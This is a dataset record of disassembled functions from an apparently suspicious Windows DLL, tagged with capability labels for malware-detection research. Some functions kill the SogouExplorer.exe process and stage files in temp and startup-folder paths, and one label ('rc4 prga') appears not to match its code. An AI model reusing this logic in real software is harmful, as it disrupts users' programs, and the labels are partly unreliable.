joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007622
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, esi
push dword [edi + 0x10194]
call fcn.1000a57d
pop ecx
cmp dword [ebp + 0x10], ebx
jbe 0x1000768c
lea eax, [edi + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push esi
sub eax, ebx
mov dword [ebp + 8], esi
push eax
push dword [ebp + 0xc]
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x14]
push eax
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x10007684
add ebx, dword [ebp + 8]
lea eax, [edi + 0x14]
cmp ebx, dword [ebp + 0x10]
jb 0x10007643
jmp 0x1000768c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push dword [edi + 0x10194]
call fcn.1000a593
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x10007c10
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x10029110
xor esi, esi
call fcn.10007b7f
mov edi, dword [ebp + 8]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
test eax, eax
jne 0x10007c88
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.10007a78
pop ecx
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, 0x10000
push eax
push eax
push 0xff
push esi
push 0x40000003
lea eax, [edi + 0x28]
push eax
call ebx
mov dword [edi + 0x170], eax
cmp dword [ebp - 4], esi
jne 0x10007c88
lea eax, [ebp - 4]
push eax
push esi
push 0x10029138
call fcn.10007b7f
add esp, 0xc
cmp dword [edi + 0x170], 0xffffffff
jne 0x10007cc3
push esi
push esi
push 0x10000
push 0x10000
push 0xff
push esi
push 0x40000003
lea eax, [edi + 0x28]
push eax
call ebx
mov dword [edi + 0x170], eax
cmp eax, 0xffffffff
jne 0x10007cc3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10007cfd
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push 1
push 1
push esi
call ebx
mov dword [edi + 0x10], eax
test eax, eax
je 0x10007cb9
push esi
push esi
push 1
push esi
call ebx
mov dword [edi + 0x24], eax
test eax, eax
je 0x10007cb9
push 0x100075b6
push 0x100072f2
push esi
push edi
push dword [edi + 0x10]
call fcn.10006e83
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000836d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0x14]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [edi], esi
test ebx, ebx
je 0x100083c7
mov edx, 0x10000
mov eax, ebx
sub eax, dword [edi]
cmp eax, edx
push esi
cmova eax, edx
lea edx, [ebp - 4]
push edx
push eax
mov eax, dword [ebp + 0xc]
add eax, dword [edi]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100083bf
mov eax, dword [ebp - 4]
mov edx, 0x10000
add dword [edi], eax
cmp dword [edi], ebx
jb 0x1000838a
jmp 0x100083c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100083d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x2c], 0
push 7
pop ecx
lea edi, [ebp - 0x2b]
mov dword [ebp - 0xc], 1
rep stosd dword es:[edi], eax
xor esi, esi
xor ebx, ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
push dword [edi + 0x14]
mov eax, dword [eax + 0x30]
mov dword [ebp - 8], eax
call fcn.1000a57d
xor eax, eax
pop ecx
inc eax
test eax, eax
je 0x10008452
push 0
lea eax, [ebp - 4]
push eax
push 0x20
pop eax
sub eax, esi
push eax
lea eax, [ebp - 0x2c]
add eax, esi
push eax
mov eax, dword [ebp - 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10008445
add esi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp esi, 0x20
jne 0x1000840d
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x1000840d
push 0x490
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10008496
cmp esi, 0x20
jne 0x10008496
cmp byte [ebp - 0x29], bl
jne 0x100084bb
mov edi, dword [ebp - 0x2c]
add edi, 0xffffffe4
push edi
call fcn.100100b0
mov esi, eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebp - 8]
call fcn.1000836d
push esi
call fcn.10010078
add esp, 0x18
cmp edi, dword [ebp - 4]
jne 0x10008493
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0xc]
and dword [eax], ebx
mov edi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test ebx, ebx
je 0x100084a9
push ebx
call fcn.10010078
pop ecx
push dword [edi + 0x14]
call fcn.1000a593
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100054a7
mov eax, dword [edi + 0x10]
add eax, 0x20
push eax
call fcn.100054cc
add esp, 0x10
test eax, eax
je 0x100084f2
push 0x10
lea eax, [ebp - 0x28]
push eax
mov eax, dword [edi + 0x10]
add eax, 0x20
push eax
call fcn.10010150
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
lea esi, [eax - 8]
lea eax, [esi + 0x20]
push eax
call fcn.100100b0
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x10008515
push 8
jmp 0x1000844a
push 0x1c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100054a7
push 0x20
lea eax, [ebp - 0x2c]
push eax
push 0x20
push ebx
call fcn.10013478
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebx + 0x20]
push eax
push dword [ebp - 8]
call fcn.1000836d
add esp, 0x2c
cmp dword [ebp - 4], esi
je 0x10008551
push eax
jmp 0x1000844a
lea eax, [esi + 0x20]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call fcn.10005c13
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
call fcn.10010078
pop ecx
xor ebx, ebx
jmp 0x10008496
Function at 0x10008702
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x100291c8
call fcn.10007b7f
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
test eax, eax
jne 0x10008780
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.10007a78
pop ecx
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, 0x10000
push eax
push eax
push 0xff
push esi
push 3
push dword [ebp + 8]
call ebx
mov esi, eax
call edi
cmp dword [ebp - 4], 0
jne 0x10008779
lea eax, [ebp - 4]
push eax
push 0
push str.SeSecurityPrivilege
call fcn.10007b7f
add esp, 0xc
cmp esi, 0xffffffff
jne 0x100087a7
xor esi, esi
push esi
push esi
push 0x10000
push 0x10000
push 0xff
push esi
push 3
push dword [ebp + 8]
call ebx
mov esi, eax
call edi
cmp esi, 0xffffffff
jne 0x100087a7
or eax, 0xffffffff
jmp 0x100087e6
call fcn.10005466
mov ebx, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x100087e4
call edi
cmp eax, 0x217
je 0x100087e4
push 1
call fcn.10005423
pop ecx
call fcn.10005466
mov ecx, dword [ebp + 0xc]
sub eax, ebx
cmp eax, dword [ecx + 4]
jb 0x100087ae
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100087a2
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008b22
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
call fcn.10005466
mov edi, eax
call fcn.10005466
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_connect]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10008b67
push dword [ebp + 0x18]
call fcn.10005423
pop ecx
call fcn.10005466
sub eax, edi
cmp eax, dword [ebp + 0x14]
jb 0x10008b2e
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x10008b6d
Capabilities:
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push esi
mov esi, dword [ebp + 0x18]
xor eax, eax
push 0x18e
push eax
mov word [ebp - 0x1a0], ax
lea eax, [ebp - 0x19e]
and dword [esi], 0
push eax
call fcn.10010a40
add esp, 0xc
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10008bb9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008c21
push ebx
push edi
push 6
push 1
push 2
pop ebx
push ebx
call dword [sym.imp.WS2_32.dll_socket]
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
push dword [ecx]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
xorps xmm0, xmm0
push eax
movdqu xmmword [ebp - 0x10], xmm0
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], bx
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 0x14]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push dword [ebp + 0x10]
push 0x10
push eax
push edi
call fcn.10008b22
add esp, 0x14
test eax, eax
jne 0x10008c1f
mov dword [esi], edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10008c26
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [ebp + 0x1c]
push esi
xor esi, esi
push 0x18e
mov dword [eax], esi
xor eax, eax
mov word [ebp - 0x1bc], ax
lea eax, [ebp - 0x1ba]
push esi
push eax
call fcn.10010a40
add esp, 0xc
lea eax, [ebp - 0x1bc]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10008c76
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008d30
push ebx
push edi
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0x2c], esi
push 0x17
lea edi, [ebp - 0x28]
xor ebx, ebx
rep stosd dword es:[edi], eax
pop edi
lea eax, [ebp - 8]
mov dword [ebp - 0x28], edi
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], 6
push eax
push dword [ebp + 0xc]
inc ebx
push dword [ebp + 8]
mov dword [ebp - 0x24], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x10008cc1
push 6
push ebx
push edi
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10008cc9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008d2e
mov dword [ebp - 4], esi
call fcn.10005466
mov dword [ebp - 0xc], eax
call fcn.10005466
mov edi, dword [ebp - 8]
jmp 0x10008cff
mov eax, dword [edi + 0x18]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x18], ecx
push dword [edi + 0x10]
push dword [edi + 0x18]
push ebx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10008d35
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x10008cde
push dword [ebp + 0x18]
call fcn.10005423
pop ecx
call fcn.10005466
sub eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x14]
jb 0x10008cd4
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, esi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x1c]
mov dword [eax], ebx
jmp 0x10008d23
Function at 0x10008d95
Capabilities:
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
mov eax, dword [ebp + 0xc]
push 0x18e
and dword [eax], 0
xor eax, eax
push eax
mov word [ebp - 0x1b4], ax
lea eax, [ebp - 0x1b2]
push eax
call fcn.10010a40
add esp, 0xc
lea eax, [ebp - 0x1b4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10008de3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008ea9
push ebx
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_socket]
xor esi, esi
push 6
push 1
push 0x17
pop eax
push eax
mov dword [ebp - 4], esi
call edi
mov ebx, eax
push 2
pop eax
cmp ebx, 0xffffffff
je 0x10008e28
and dword [ebp - 8], esi
lea eax, [ebp - 8]
push 4
push eax
push 0x1b
push 0x29
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10008e36
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 2
pop eax
xor esi, esi
inc esi
push 6
push esi
push eax
mov dword [ebp - 4], esi
call edi
mov ebx, eax
xor eax, eax
lea edi, [ebp - 0x22]
mov word [ebp - 0x24], ax
push 6
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test esi, esi
je 0x10008e68
mov esi, dword [sym.imp.WS2_32.dll_htons]
push 0
call esi
movzx eax, ax
push 2
mov dword [ebp - 0x20], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x24], ax
call esi
jmp 0x10008e84
mov esi, 0x1002163c
lea edi, [ebp - 0x1c]
push 0x17
pop eax
push dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 0xc]
cmp dword [ebp - 4], 0
push 0x1c
mov word [ebp - 0x22], ax
pop eax
push 0x10
pop ecx
cmovne eax, ecx
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call fcn.10008d3c
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a70f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x1000a71e
xor eax, eax
jmp 0x1000a793
push esi
push 0x1c
call fcn.100100b0
mov esi, eax
pop ecx
test esi, esi
je 0x1000a78c
push 0x1c
push 0
push esi
call fcn.10010a40
add esp, 0xc
call fcn.1000a5a7
mov dword [esi + 8], eax
push esi
test eax, eax
jne 0x1000a74e
call fcn.10010078
jmp 0x1000a78b
mov eax, dword [ebp + 0xc]
push 4
push esi
push 0x1000a854
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x10]
push 0
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
push 0
mov dword [esi + 0x18], eax
mov dword [esi + 0xc], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
jne 0x1000a790
push dword [esi + 8]
call fcn.1000a5e7
push esi
call fcn.10010078
pop ecx
pop ecx
xor eax, eax
jmp 0x1000a792
mov eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x1000a7b8
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1000a7c4
pop ebp
ret
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
pop ebp
ret

Function at 0x1000a7e9
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1000a7f5
pop ebp
ret
push 0xffffffffffffffff
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret
Function at 0x1000c0e9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0x24]
mov esi, dword [edi + 0x34]
mov ecx, dword [edi + 0x64]
sub esi, ecx
sub esi, dword [edi + 0x6c]
mov dword [ebp - 8], esi
jne 0x1000c117
test ecx, ecx
jne 0x1000c121
cmp dword [edi + 0x6c], ecx
jne 0x1000c121
mov esi, ebx
jmp 0x1000c19e
cmp esi, 0xffffffff
jne 0x1000c121
push 0xfffffffffffffffe
pop esi
jmp 0x1000c19e
mov eax, dword [edi + 0x24]
add eax, 0xfffffefa
add eax, ebx
cmp ecx, eax
jb 0x1000c19e
mov ecx, dword [edi + 0x30]
push ebx
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.10010150
mov ecx, dword [edi + 0x44]
add esp, 0xc
mov eax, dword [edi + 0x3c]
mov esi, ecx
sub dword [edi + 0x68], ebx
sub dword [edi + 0x64], ebx
sub dword [edi + 0x54], ebx
mov dword [ebp - 4], ecx
lea edi, [eax + ecx*2]
lea edi, [edi - 2]
xor ecx, ecx
movzx edx, word [edi]
mov eax, edx
sub eax, ebx
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [edi], cx
dec esi
jne 0x1000c157
mov edi, dword [ebp + 8]
mov esi, ebx
mov eax, dword [edi + 0x38]
lea edi, [eax + ebx*2]
lea edi, [edi - 2]
xor ecx, ecx
movzx edx, word [edi]
mov eax, edx
sub eax, ebx
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [edi], cx
dec esi
jne 0x1000c17c
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
add esi, ebx
mov ecx, dword [edi]
cmp dword [ecx + 4], 0
je 0x1000c1f7
mov eax, dword [edi + 0x6c]
add eax, dword [edi + 0x64]
add eax, dword [edi + 0x30]
push esi
push eax
push ecx
call fcn.1000c92e
add dword [edi + 0x6c], eax
add esp, 0xc
cmp dword [edi + 0x6c], 3
jb 0x1000c1e2
mov edx, dword [edi + 0x64]
mov eax, dword [edi + 0x30]
mov ecx, dword [edi + 0x50]
movzx esi, byte [edx + eax]
mov dword [edi + 0x40], esi
movzx eax, byte [edx + eax + 1]
shl esi, cl
xor esi, eax
and esi, dword [edi + 0x4c]
mov dword [edi + 0x40], esi
cmp dword [edi + 0x6c], 0x106
jae 0x1000c1f7
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x1000c0f7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001040
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x1000d078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push edi
push 0
push 2
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x1000109c
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea eax, [ebp - 0x230]
push eax
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x100010b0
push edi
call ebx
push 0
push 2
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001070
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000215f
mov esp, ebp
pop ebp
ret
push str.SogouExplorer.exe
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x100010f0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x228]
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100010b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000215f
mov esp, ebp
pop ebp
ret
Function at 0x10001120
Capabilities:
Create directory
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor eax, eax
push edi
push 0x410
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
call fcn.10002154
push 0x410
mov ebx, eax
call fcn.10002154
push 0x410
mov esi, eax
call fcn.10002154
push 0x410
mov edi, eax
call fcn.10002154
push 0x410
mov dword [ebp - 4], eax
call fcn.10002154
add esp, 0x14
push ebx
push 0x208
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.1000282c
call fcn.1000283e
push eax
push ebx
lea ecx, [eax + 1]
push 0x1000b080
push esi
mov dword [ebp - 0xc], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea edx, [ebp - 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str....._
push esi
push str._s_s
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
push ecx
push edi
push str._s_d
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add esp, 0x10
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push edx
push esi
push str._s_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 8]
add esp, 0x10
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebx, ebx
je 0x1000124e
push ebx
call fcn.10002821
add esp, 4
test esi, esi
je 0x1000125b
push esi
call fcn.10002821
add esp, 4
test edi, edi
je 0x10001268
push edi
call fcn.10002821
add esp, 4
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
test eax, eax
je 0x1000127b
push eax
call fcn.10002821
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x1000128b
push eax
call fcn.10002821
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10001630
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x1000d078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call fcn.10001040
push 0
push 7
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x20c]
push 0x1000b0c8
push edx
call fcn.1000286a
add esp, 0xc
xor esi, esi
test eax, eax
je 0x100016a0
lea ecx, [ecx]
cmp esi, 2
je 0x100016a0
lea eax, [ebp - 0x418]
push eax
push 0x1000b0c8
push 0
call fcn.1000286a
add esp, 0xc
inc esi
test eax, eax
jne 0x10001680
push str.AppDataRoamingSogouExplorer
push eax
lea ecx, [ebp - 0x414]
push 0x1000b0cc
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x414]
push edx
call fcn.100012a0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop esi
call fcn.1000215f
mov esp, ebp
pop ebp
ret

Function at 0x10001730
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000175f
cmp dword [0x1000ef0c], eax
jne 0x1000175f
push eax
push eax
push eax
push 0x100016f0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1000ef0c], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1000215f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000d078]
jne 0x10002169
repz ret
jmp fcn.10002d45
Function at 0x10006d0c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000d078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10003868
and dword [ebp - 0x14], 0
cmp dword [0x1000eef8], 0
mov dword [ebp - 0x18], eax
jne 0x10006dbf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10006e67
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10006e67
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000eef8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000eefc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000ef00], eax
call edi
push eax
call esi
mov dword [0x1000ef08], eax
test eax, eax
je 0x10006dbf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000ef04], eax
mov eax, dword [0x1000ef04]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10006e18
cmp dword [0x1000ef08], ecx
je 0x10006e18
push eax
call esi
push dword [0x1000ef08]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10006e18
test ebx, ebx
je 0x10006e18
call edi
test eax, eax
je 0x10006e0f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10006e0f
test byte [ebp - 8], 1
jne 0x10006e18
or dword [ebp + 0x10], 0x200000
jmp 0x10006e4b
mov eax, dword [0x1000eefc]
cmp eax, dword [ebp - 0x18]
je 0x10006e4b
push eax
call esi
test eax, eax
je 0x10006e4b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10006e4b
mov eax, dword [0x1000ef00]
cmp eax, dword [ebp - 0x18]
je 0x10006e4b
push eax
call esi
test eax, eax
je 0x10006e4b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000eef8]
call esi
test eax, eax
je 0x10006e67
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10006e69
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000215f
leave
ret